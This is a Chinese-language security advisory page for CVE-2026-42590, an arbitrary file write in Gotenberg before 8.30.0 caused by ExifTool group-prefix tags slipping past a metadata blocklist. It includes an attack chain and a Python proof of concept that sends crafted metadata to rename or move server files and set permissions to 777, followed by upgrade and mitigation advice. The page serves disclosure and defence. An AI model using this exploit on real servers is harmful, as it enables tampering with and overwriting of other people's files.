IPBUF安全漏洞报告
English
CVE-2026-42590 CVSS 8.2 高危

CVE-2026-42590 Gotenberg 任意文件写入漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42590
漏洞类型
任意文件写入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

任意文件写入GotenbergExifTool权限绕过CVE-2026-42590

漏洞概述

Gotenberg是一个基于Docker的无状态PDF生成API。在8.30.0版本之前,该组件存在ExifTool元数据写入过滤绕过漏洞。由于ExifTool支持组前缀语法(如File:FileName),且Gotenberg的验证正则允许冒号,攻击者可通过构造特殊的标签前缀绕过黑名单限制。这使得攻击者能够在服务器上执行任意文件重命名、移动、硬链接和符号链接创建操作,甚至修改文件权限和所有者。该漏洞可能导致服务器敏感文件被覆盖或替换,造成严重的安全风险。官方已在8.30.0版本中修复了此问题。

技术细节

该漏洞的根源在于Gotenberg对ExifTool元数据的验证机制存在缺陷。Gotenberg使用正则表达式safeKeyPattern(^[a-zA-Z0-9\-_.:]+$)来过滤危险的标签名,旨在防止文件系统操作。然而,ExifTool在处理标签时会剥离组前缀(例如将File:FileName视为FileName)。由于验证正则允许冒号(:)存在,攻击者可以利用这一逻辑差异,在标签名前添加任意前缀(如File:、System:等)来通过验证。一旦绕过检查,ExifTool将执行底层操作,如File:FileName重命名文件、System:Directory移动文件,或a:HardLink创建硬链接。此外,FilePermissions、FileUserID和FileGroupID等伪标签完全未被列入黑名单,攻击者可直接利用它们修改文件属性,从而实现对服务器文件系统的完整性和可用性攻击。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行Gotenberg服务,且版本低于8.30.0。
STEP 2
构造载荷
攻击者利用ExifTool的组前缀语法(如File:FileName、System:Directory)构造包含恶意元数据的PDF文件,这些标签能够绕过Gotenberg的正则验证。
STEP 3
发送请求
攻击者通过HTTP POST请求将构造好的恶意文件发送给Gotenberg的API转换接口。
STEP 4
执行写入
Gotenberg调用ExifTool处理文件,剥离前缀后执行底层文件操作,导致服务器上的文件被重命名、移动或权限被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-42590 # This script demonstrates bypassing the ExifTool blocklist using group-prefix syntax. import requests # Target URL (example) url = "http://target-gotenberg:3000/forms/pdfengines/merge" # Prepare a benign PDF file for upload files = { 'files': ('test.pdf', open('test.pdf', 'rb'), 'application/pdf') } # Malicious metadata using group-prefix syntax to bypass safeKeyPattern # 'File:FileName' attempts to rename the output file # 'FilePermissions' attempts to change file mode (not blocked) # 'a:HardLink' attempts to create a hardlink metadata = { "File:FileName": "/tmp/pwned_result.pdf", "FilePermissions": "777", "System:Directory": "/var/www/html/uploads" } data = { 'metadata': str(metadata).replace("'", '"') } try: response = requests.post(url, files=files, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check server for file modifications.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Gotenberg < 8.30.0

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应严格限制Gotenberg服务的网络访问,仅允许可信的内网服务调用,并检查系统日志中是否存在异常的文件操作记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表